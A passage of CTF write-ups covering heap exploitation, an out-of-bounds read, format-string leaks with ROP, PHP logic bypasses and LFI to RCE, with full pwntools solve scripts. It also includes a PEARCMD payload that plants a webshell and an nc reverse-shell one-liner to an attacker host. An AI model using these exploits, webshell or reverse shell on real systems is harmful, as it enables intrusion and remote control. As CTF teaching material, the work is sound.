 -> Chunk(addr=0x555555575670, size=0x20, flags=PREV_INUSE, fd=0x5550000200a5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x5555555755c0, size=0x20, flags=PREV_INUSE, fd=0x555000020035, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575530, size=0x20, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=1, size=0x30, @0x555555563098] count=2
 -> Chunk(addr=0x5555555752a0, size=0x30, flags=PREV_INUSE, fd=0x5550000200d5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575590, size=0x30, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x5555555630a8] count=2
 -> Chunk(addr=0x5555555752d0, size=0x50, flags=PREV_INUSE, fd=0x555000020645, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575320, size=0x50, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=7, size=0x90, @0x5555555630c8] count=1
 -> Chunk(addr=0x5555555755e0, size=0x90, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=15, size=0x110, @0x555555563108] count=1
 -> Chunk(addr=0x5555555756b0, size=0x110, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
[+] Found 13 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
[+] Found 0 chunks in fastbin.

Now, when we delete rating 1 and 2, both would go to fastbin.

----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x555555563090] count=7
 -> Chunk(addr=0x555555575800, size=0x20, flags=PREV_INUSE, fd=0x555000020285, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x5555555757e0, size=0x20, flags=PREV_INUSE, fd=0x5550000202a5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x5555555757c0, size=0x20, flags=PREV_INUSE, fd=0x5550000203d5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575690, size=0x20, flags=PREV_INUSE, fd=0x5550000203f5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575670, size=0x20, flags=PREV_INUSE, fd=0x5550000200a5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x5555555755c0, size=0x20, flags=PREV_INUSE, fd=0x555000020035, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575530, size=0x20, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=1, size=0x30, @0x555555563098] count=2
 -> Chunk(addr=0x5555555752a0, size=0x30, flags=PREV_INUSE, fd=0x5550000200d5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575590, size=0x30, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x5555555630a8] count=2
 -> Chunk(addr=0x5555555752d0, size=0x50, flags=PREV_INUSE, fd=0x555000020645, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575320, size=0x50, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=7, size=0x90, @0x5555555630c8] count=1
 -> Chunk(addr=0x5555555755e0, size=0x90, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=15, size=0x110, @0x555555563108] count=1
 -> Chunk(addr=0x5555555756b0, size=0x110, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
[+] Found 13 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7ffff7c17ad0]
 -> Chunk(addr=0x555555575510, size=0x20, flags=PREV_INUSE, fd=0x555000020185, bk=0x00000000000a)
 -> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x000555555575, bk=0x00000000000a)
[+] Found 2 chunks in fastbin.

Next, we trigger the double free by deleting rating 1.

------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7ffff7c17ad0]
 -> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x555000020065, bk=0x00000000000a)
 -> Chunk(addr=0x555555575510, size=0x20, flags=PREV_INUSE, fd=0x555000020185, bk=0x00000000000a)
 -> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x555000020065, bk=0x00000000000a)
 -> 0x555555575500 [loop detected]
[+] Found 2 chunks in fastbin.

Tcache Poisoning

Now, when we request a 0x20 size chunk, it would first go through tcachebins until it's empty. When we empty out the tcachebins, the next allocation request would go to fastbin and the rest of the bins would be dumped into tcachebins. But how do we empty out the tcachebins? Using scream is not ideal as the chunks would get freed again. The answer is to simply create a rating. This is because the allocation is done before the rating count validation check.

Before allocation request

----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=1, size=0x30, @0x555555563098] count=2
 -> Chunk(addr=0x5555555752a0, size=0x30, flags=PREV_INUSE, fd=0x5550000200d5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575590, size=0x30, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x5555555630a8] count=2
 -> Chunk(addr=0x5555555752d0, size=0x50, flags=PREV_INUSE, fd=0x555000020645, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575320, size=0x50, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=7, size=0x90, @0x5555555630c8] count=1
 -> Chunk(addr=0x5555555755e0, size=0x90, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=15, size=0x110, @0x555555563108] count=1
 -> Chunk(addr=0x5555555756b0, size=0x110, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
[+] Found 6 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7ffff7c17ad0]
 -> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x555000020065, bk=0x00000000000a)
 -> Chunk(addr=0x555555575510, size=0x20, flags=PREV_INUSE, fd=0x555000020185, bk=0x00000000000a)
 -> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x555000020065, bk=0x00000000000a)
 -> 0x555555575500 [loop detected]
[+] Found 2 chunks in fastbin.

After allocation request: 0x560c41f0d4f0 is allocated, which is the first free chunk in fastbin, and the remaining chunks are dumped into tcachebins.

----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x560c41efb090] count=3
 -> Chunk(addr=0x560c41f0d510, size=0x20, flags=PREV_INUSE, fd=0x56092134ca0d, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x560c41f0d4f0, size=0x20, flags=PREV_INUSE, fd=0x56092134ca2d, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x560c41f0d510, size=0x20, flags=PREV_INUSE, fd=0x56092134ca0d, bk=0x6ee603c65e3f27c0)
 -> 0x560c41f0d520 [loop detected]two chunk
tcachebins[idx=1, size=0x30, @0x560c41efb098] count=2
 -> Chunk(addr=0x560c41f0d2a0, size=0x30, flags=PREV_INUSE, fd=0x56092134caad, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x560c41f0d590, size=0x30, flags=PREV_INUSE, fd=0x000560c41f0d, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x560c41efb0a8] count=2
 -> Chunk(addr=0x560c41f0d2d0, size=0x50, flags=PREV_INUSE, fd=0x56092134cc3d, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x560c41f0d320, size=0x50, flags=PREV_INUSE, fd=0x000560c41f0d, bk=0x6ee603c65e3f27c0)
tcachebins[idx=7, size=0x90, @0x560c41efb0c8] count=1
 -> Chunk(addr=0x560c41f0d5e0, size=0x90, flags=PREV_INUSE, fd=0x000560c41f0d, bk=0x6ee603c65e3f27c0)
tcachebins[idx=15, size=0x110, @0x560c41efb108] count=1
 -> Chunk(addr=0x560c41f0d6b0, size=0x110, flags=PREV_INUSE, fd=0x000560c41f0d, bk=0x6ee603c65e3f27c0)
[+] Found 8 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
[+] Found 0 chunks in fastbin.
gef> p $rax - 0x10
$1 = 0x560c41f0d4f0

Now that we received a chunk at 0x560c41f0d4f0, while this chunk exists on tcachebins, we could perform tcache poisoning to allocate a chunk where we could overwrite our user permission level.

Final Solve Script

#!/usr/bin/env python3

# type: ignore
# flake8: noqa

from pwn import *

elf = context.binary = ELF("./app", checksec=False)


def start(argv=[], *a, **kw):
    nc = "nc chall.glacierctf.com 13373"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        args_ = [elf.path] + argv
        if args.NA:
            args_ = ["setarch", "-R"] + args_
        return process(args_, env=env, *a, **kw)


def create(rating: bytes):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"rating\n> ", rating)


def delete(idx):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"remove?\n> ", str(idx).encode())


def show():
    io.sendlineafter(b"> ", b"3")


def scream(aaa: bytes):
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"content!\n", aaa)


def admin():
    io.sendlineafter(b"> ", b"5")


def reveal(ptr):
    mask = 0xfff << 36
    while mask:
        ptr ^= (ptr & mask) >> 12
        mask >>= 12
    return ptr


def mangle(pos, ptr):
    return (pos >> 12) ^ ptr


env = {}
io = start()

io.sendlineafter(b"username: ", cyclic(0x30))
io.sendlineafter(b"password: ", cyclic(0x30))

create(b"a" * 8)
create(b"b" * 8)
create(b"c" * 8)
delete(3)

show()
io.recvuntil(b"3: ")
heap_leak = u64(io.recvline().strip().ljust(8, b"\x00"))
log.info(f"{heap_leak=:#x}")
heap = heap_leak << 12
log.info(f"{heap=:#x}")
user_chunk = heap + 0x370

# Fill up tcachebins
payload = b"\n".join([cyclic(0x10)] * 7 + [b"quit"])
scream(payload)

# fastbin dup
delete(1)
delete(2)
delete(1)

# Empty out tcachebins
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)

# After tcachebins is empty, the fastbins are dumped into tcachebins
# which enable us to do tcache poisoning with the fastbin dup earlier
fd = mangle(heap + 0x4f0, user_chunk + 0x80)  # perms field
create(p64(fd))
create(b"f" * 8)
create(b"f" * 8)
create(p64(0) + p64(0x41))
admin()

io.interactive()
➜ ./solve.py REMOTE
[+] Opening connection to chall.glacierctf.com on port 13373: Done
[*] heap_leak=0x557c4b598
[*] heap=0x557c4b598000
[*] Switching to interactive mode
Verified permissions
Here is your flag: gctf{I_th0ght_1_c0uld_n0t_m3ss_4nyth1ng_up}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to chall.glacierctf.com port 13373

PwC Hackaday 2023

pwn

Challenge NameKeywordsSummary
Hack The Binary 1oobArray OOB read
Hack The Binary 2format string, ROPFormat string to defeat ASLR, ROP to get RCE

web

Challenge NameKeywordsSummary
PHP Code Review 1phpLeveraging Google search box to capture the flag
PHP Code Review 2phpTriggerring error to reach catch block

Hack The Binary 1

TL;DR

Array OOB read

Initial Analysis

When we try to run the binary file, we are first prompted to enter a 4-digit password. Looking at the decompilation output, the password is hardcoded in password_checker() function, i.e., 1235

initial

__int64 __fastcall password_checker(int password) {
  __int64 result; // rax

  if ( password == 1235 ) {
    puts("Login Successfully\n");
    result = 1LL;
  }
  else {
    if ( password <= 999 || password > 9999 )
      puts("Please Enter 4 digit numbers!\n");
    else
      puts("Invalid password!\n");
    result = 0LL;
  }
  return result;
}

passing the password checker

Next, we could see that inside management_system() function, we could see that we are allowed to query an item whose ID is less than or equal to 14. However, notice that there is no check for negative item ID and the variable data type is a signed integer.

void __fastcall management_system() {
  int input; // [rsp+4h] [rbp-Ch]
  unsigned int j; // [rsp+8h] [rbp-8h]
  unsigned int i; // [rsp+Ch] [rbp-4h]

  while ( 1 ) {
    while ( 1 ) {
      while ( 1 ) {
        while ( 1 ) {
          puts("--- Welcome to the Management System ---");
          puts("1. User List ");
          puts("2. Item List ");
          puts("3. Search for Item Storage ");
          puts("4. Exit");
          printf("Enter your choice: ");
          __isoc99_scanf("%d", &input);
          if ( input != 1 )
            break;
          for ( i = 0; (int)i <= 17; ++i )
            printf("UserID - %d  %s\n", i, userlist[i]);
          putchar('\n');
        }
        if ( input != 2 )
          break;
        for ( j = 0; (int)j <= 14; ++j )
          printf("ItemID - %d  %s\n", j, item[2 * (int)j]);
        putchar('\n');
      }
      if ( input != 3 )
        break;
      printf("Please Enter item ID: ");
      __isoc99_scanf("%d", &input);
      if ( input <= 14 )
        printf("\nStorage of %s: %s\n\n", item[2 * input], off_4888[2 * input]);
      else
        puts("Invalid item ID!\n");
    }
    if ( input == 4 )
      break;
    puts("Invalid Input!");
  }
}

This means that we could provide a negative item ID, e.g., -4, and it would access memory address lower than item and return the value there. Looking at interesting things that we could read with negative item ID, we could see that there is a variable named secret which contains the flag.

secret

Solution

Now that we know we could read the flag by providing a negative item ID, the next step is to calculate the exact value to properly access the flag. To do this, we could simply subtract the distance between item and secret and then divides the value by 16.

#!/usr/bin/env python3

# type: ignore
# flake8: noqa

from pwn import *

elf = context.binary = ELF("./vuln", checksec=False)


def start(argv=[], *a, **kw):
    nc = "nc localhost 1337"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        return process([elf.path] + argv, env=env, *a, **kw)


env = {}
io = start()

item = elf.sym["item"]
secret = elf.sym["secret"]
delta = (item - secret) // 16
log.info(f"{delta=:#x}")

io.sendlineafter(b"numbers): ", b"1235")
io.sendlineafter(b"choice: ", b"3")
io.sendlineafter(b"ID: ", str(delta * -1).encode())
io.recvuntil(b"Storage of ")

io.interactive()

Hack The Binary 2

TL;DR

Format string to defeat ASLR, ROP to get RCE

Initial Analysis

The given binary file is almost similar to Hack the Binary 1, but without the flag lying around in the memory and array OOB. Instead, the login() function is now susceptible to format string attack. Furthermore, it is also subjected to buffer overflow as the scanf format is not restricted by length.

__int64 login() {
  __int64 result; // rax
  char format; // [rsp+Ah] [rbp-6h]

  do {
    printf("Please Enter Password (4 digit numbers): ");
    __isoc99_scanf("%s", &format);
    printf("Your Password is ");
    printf(&format);  // <=== format string !!!
    putchar(10);
    result = password_checker(&format);
  } while ( (_DWORD)result != 1 );
  return result;
}

Solution

The first step is to leak the stack and look for any interesting address, particularly the one that points to libc memory space since we want to call system() later on to pop a shell. The format string that would be discussed in this writeup is %n$llx where n specify the stack offset and llx for 64-bit value in hex format.

#!/usr/bin/env python3

# type: ignore
# flake8: noqa

from pwn import *

elf = context.binary = ELF("./vuln2", checksec=False)


def start(argv=[], *a, **kw):
    nc = "nc localhost 1337"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        return process([elf.path] + argv, env=env, *a, **kw)


env = {}


def printf_leak(idx):
    payload = f"%{idx}$llx".encode()
    io.sendline(payload)
    io.recvuntil(b"is ")
    leak = int(io.recvline(keepends=False), 16)
    return leak


io = start()

for i in range(1, 16):
    leak = printf_leak(i)
    log.info(f"{i} {leak:#x}")

io.interactive()

Based on the result, the third entry is a libc address value.

printf leak result

{{< alert "circle-info" >}} One could also double check where is the libc memory region via /proc/<pid>/maps proc maps {{< /alert >}}

Since the challenge does not come with a libc file, we could not directly compute the offset between the leaked address with the base address of libc. The local libc used in this writeup is of version 2.35-0ubuntu3. Now, if we try to run it against the remote server, we could see that the lowest 3 nibbles (hex digit) is different (local is a37, remote is a77). We only compare the lowest 3 nibbles since ASLR does not affect these 3. This means that the remote server is using a different libc version.

remote result

We need to check if the leaked address belongs to any libc function such that we could use the known symbol as a lookup value on libc database like:

Now, if we attached gdb to the process (that is running local binary), we could see that the address lies within __GI___libc_write.

gdb

If we try to use the symbol name __GI___libc_write with the address 0xa37-23 = 0xa20, libc.rip returns us results. However, there is no 2.35-0ubuntu3. This means that the symbol name is not quite right.

libc_rip

If we try to break at the beginnning of the function, gef (gdb plugin) labels the function as write.

gef

Now, if we use replace the symbol name with write instead, we get more results and 2.35-0ubuntu3 is among them.

libc_rip2

Next, we just need to replace the address value with the one that we got from remote server, i.e., 0xa77-23 = 0xa60. If we diff the results between __GI___libc_write 0xa60 and write 0xa60, we could deduce that libc6_2.35-0ubuntu3.4_amd64 is probably the correct one. Click on the result and we could see various offsets, e.g., write, system, str_bin_sh, etc. With the offset of write, we could compute the libc base address on the remote side and then use the base address to locate system function address within the process memory and various other stuffs. Another thing that we need is also a pop rdi; ret; gadget which does not exist in the binary file, but is available from the libc file.

Final solve script:

#!/usr/bin/env python3

# type: ignore
# flake8: noqa

from pwn import *

elf = context.binary = ELF("./vuln2", checksec=False)
libc = ELF("./libc.so.6", checksec=False)


def start(argv=[], *a, **kw):
    nc = "nc localhost 1337"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        return process([elf.path] + argv, env=env, *a, **kw)


env = {}


def printf_leak(idx):
    payload = f"%{idx}$llx".encode()
    io.sendline(payload)
    io.recvuntil(b"is ")
    leak = int(io.recvline(keepends=False), 16)
    return leak


io = start()

# for i in range(1, 16):
#     leak = printf_leak(i)
#     log.info(f"{i} {leak:#x}")

libc_leak = printf_leak(3)
libc.address = libc_leak - 0x114a60 - 23
log.info(f"{libc.address=:#x}")
pop_rdi = libc.address + 0x001bc0a1
ret = pop_rdi + 1
bin_sh = next(libc.search(b"/bin/sh\x00"))

payload = b"A" * 6
payload += p64(elf.bss(0xc00))
payload += flat(
    pop_rdi, bin_sh,
    ret,  # stack alignment
    libc.sym["system"]
)
io.sendline(payload)
io.sendline(b"1235")

io.interactive()

PHP Code Review 1

TL;DR

Leveraging Google search box to capture the flag

Source Code

info

This is a rough overview of the source code but is enough for solving the challenge

<?php

include 'flag.php';

if (isset($_GET['debug'])) {
    highlight_file(__FILE__);
}

if (isset($_GET['url'])) {
    $url = $_GET['url'];
    $parsed = parse_url($url);
    if ($parsed['host'] == "www.google.com" && ($parsed['scheme'] == "http" || $parsed['scheme'] == "https")) {
        echo file_get_contents(str_replace("../", "/", $url) . "?flag=" . $flag);
    } else {
        die("Forbidden");
    }
}

?>

Initial Analysis

From the source code above, we could see that it requires us to provide a URL that satisfy the criterias. Searching on the internet on how to bypass parse_url host leads us to this page.

Based on the PoC, for PHP < 5.6.28, the parse_url incorrectly parses the host component. We could trick parse_url to think that www.google.com is the host, but in fact, the real host is a webhook for us to retrieve the flag. However, this does not work for us since if we look at the response header, it is stated that the server is running PHP version 8.2.12.

php version

Seems like there is no way for us to trick the parse_url but to work with www.google.com

Looking at www.google.com

If we provide https://www.google.com as the url query value, we could see that it just returns the page with an empty search box.

default behaviour

If we go to google and try to search up, e.g., pwc hackaday 2023, it would redirect us to this URL: https://www.google.com/search?q=pwc+hackaday+2023&....

searching with search box

Now, if we try to visit https://www.google.com/search?q=hello+world directly, we end up with this page.

google search page

Looking back at the source code, we could see that the argument passed to file_get_contents is our provided url appended with ?flag=. If our provided url already contains ?foo=bar, then the appended ?flag= would lose its ? original syntax meaning and instead be treated as the continuation of our initial foo parameter key value, i.e., foo = bar?flag=

Solution

Before we continue, let's recap back on our findings:

  • parse_url host confusion is not possible due to mismatch PHP version
  • If our provided url already contains ? which signify the starting of query string, then the appended ?flag would lose its ? meaning
  • The Google search endpoint /search query key q value is reflected back to the search box

Now, putting everything together, we could provide url as https://www.google.com/search?q= and the flag would be appended into https://www.google.com/search?q=?flag=..., which means that ?flag=... would show up inside the Google search box.

grabbing the flag

PHP Code Review 2

TL;DR

Triggering error to reach catch block

Source Code

info

This is only a part of the source code

<?php

// php 8.2.12
//
// if ?debug, highlight __FILE__ to view source code

$username = $_GET['username'];
$passwd = $_GET['password'];
$alg = $_GET['alg'];

$pwlist = array('admin' => "REMOVED", "editor" => "REMOVED" );

function hashing($passwd, $alg) {
    try {
        if (!isset($alg)) {
            $alg = "md5";
        }
        $alg = strval(trim($alg));
        $passwd = strval($passwd);
        if ($alg != "md5" && $alg != "sha256") {
            die("invalid algorithm");
        }
        return hash($alg, $passwd);
    } catch (Throwable) {
        return;
    }
}

if (isempty($username) || isempty($passwd)) {
    die("empty username or password");
}

if (!strcmp(hashing($passwd, $alg), $pwlist[$username])) {
    // set cookie with value of xor($username, $flag)
}

?>

Initial Analysis

From the source code above, it is apparent that we need to pass the strcmp checks, such that we could retrieve the flag from the cookie. The first argument is the hash digest of our provided password (MD5 or SHA256) and the second argument comes from the initialized array. Since the value of the array is not fully known, it is almost impossible for us to guess the username's hashed password.

However, notice that if we provide a username that does not exist in the array, $pwlist[$username] would just return NULL. Looking at the hashing() function, we could see that there are two code paths, one that returns hash($alg, $passwd), and another path that returns NULL. Since we could make the second argument to be NULL, it would be great if we could get the hashing() function to return NULL as well.

Analysis of hashing()

The code path which returns NULL, require us to trigger an error somewhere inside the try block. There are three function candidates, i.e., isset, strval, and trim. After trial-and-error, the trim() function would raise an error when an array is passed as the argument.

output of trim()

We could re-confirm this behaviour by passing an array to hashing() and observe that it indeed returns nothing as opposed to normal argument like md5 and sha256.

output of hashing()

Solution

Here is the summary of our findings:

  • Our goal is to pass the strcmp checks
  • We could make the second argument to return NULL using non-existing username
  • We could make the first argument to return NULL by triggering an error via the trim() function by passing it an array such that the catch block is reached

To pass an array via HTTP query string, we just need to append the parameter name with [], e.g., ?alg[]=abcd. Since the cookie value is our supplied username XOR with the flag and base64 encoded, and we do not know the length of the flag beforehand, we could just supply a really long username

The final payload to get the server to set the cookie is:

http://<url>?username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&password=deadbeef&alg[]=

Wargames.MY CTF 2023

web

Challenge NameKeywordsSummary
Warmupphp, RCE, LFILFI to RCE via PHP PEARCMD
Statusphp, k8s, nginx, off-by-slashRetrieve nginx config file from k8s configmaps
Secretk8s, HashiCorp VaultRead secret from HashiCorp vault using the vault CLI and using nginx off-by-slash

Warmup

Series

  1. Warmup
  2. Status
  3. Secret

TL;DR

LFI to RCE via PHP PEARCMD

Initial Analysis

We are presented with an input box that asks for a password.

webpage

The password checker is done on the client side via a minified javascript called script.min.js.

submit button

We can then deobfuscate the script with https://deobfuscate.io/ which manage to detect the matching obfuscator and redirects us to https://obf-io.deobfuscate.io/.

Passing The Password Checker

Looking at the deobfuscated script, we can see that the password is this_password_is_so_weak_i_can_crack_in_1_sec! and if we give this password, it would reach out to /api/4aa22934982f984b8a0438b701e8dec8.php endpoint and hopefully give us the flag.

/* ... */
document.querySelector('button').addEventListener("click", _0x3ac921 => {
  _0x3ac921.preventDefault();
  if (document.querySelector("input").value === "this_password_is_so_weak_i_can_crack_in_1_sec!") {
    fetch("/api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php").then(_0x5c12f5 => _0x5c12f5.text()).then(_0x509e6e => Swal.fire({
      'title': "Good job!",
      'html': _0x509e6e,
      'icon': "success"
    }));
  } else {
    Swal.fire({
      'title': "Oops...",
      'text': "wrong password",
      'icon': "error"
    });
  }
});

Unfortunately, there is no flag, but it mentioned about comment.

correct popup

If we try to use curl to visit the endpoint, we could see there is an HTML comment, but it is still not it.

$ curl -s http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php
here's your flag <small>in comment</small> <!-- well, maybe not this comment -->

LFI

Notice that the API endpoint accepts a filename for the parameter query x. This almost screams LFI (local file inclusion) to me.

We can try to pass in /etc/passwd and we indeed get the file content

$ curl -s http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=/etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin

There are lots of filter implemented to deny us from accessing stuff like procfs and wrappers such as php://input, php://filter/convert, data://, etc.

I was not able to bypass it but other participants managed to do it by:

LFI2RCE

In the end, I stumbled upon this cheat sheet which allows us to get RCE with PHP PEARCMD which most probably satisfy the prerequisite as most CTF challenges uses php image from docker registry.

This is the payload that I used:

?+config-create+/&x=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['c'])?>+/tmp/pir.php

webshell

Next, we can use the uploaded webshell to execute arbitrary command

$ curl -s 'http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=/tmp/pir.php&c=id'
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/php";s:8:"data_dir";s:69:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/data";s:7:"www_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/www";s:7:"cfg_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/cfg";s:7:"ext_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/ext";s:7:"doc_dir";s:69:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/docs";s:8:"test_dir";s:70:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/tests";s:9:"cache_dir";s:70:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/cache";s:12:"download_dir";s:73:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/download";s:8:"temp_dir";s:69:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/temp";s:7:"bin_dir";s:64:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear";s:7:"man_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/man";}

Since the output is duplicated many times, I tried to get reverse shell on the remote server with this payload:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $NGROK_IP $NGROK_PORT >/tmp/f

flag

flag: wgmy{1ca200caa85d3a8dcec7d660e7361f79}

On the next part of the post, we will see that we actually gain a shell inside a kubernetes pod and try to poke around with the this challenge deployment.

References

Status

warning

Disclaimer: This is my first time playing with k8s, so things that I mentioned may not be accurate.

Series

  1. Warmup
  2. Status
  3. Secret

TL;DR

Retrieve nginx config file from k8s configmaps

Enumeration

The challenge description links us to /api/status.php endpoint but there is nothing much in it. If we take look at the file content directly, we could see that it is using kubectl to get the status of the deployments.

$ cat status.php
<?php

error_reporting(0);

$ok = exec('kubectl -n wgmy get deploy ' . getenv('DEPLOY') . ' -o jsonpath="{.status.availableReplicas}"');

echo($ok ? 'ok' : 'not ok');

If we check the environment variables, we could see a bunch of stuff concerning with k8s (kubernetes).

$ env
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT=443
USER=www-data
HOSTNAME=wgmy-webtestonetwothree-backend-7bc587fcd8-p4ksj
PHP_INI_DIR=/usr/local/etc/php
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_ADDR=10.43.246.102
SHLVL=3
HOME=/home/www-data
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_PORT=80
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_PROTO=tcp
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.0
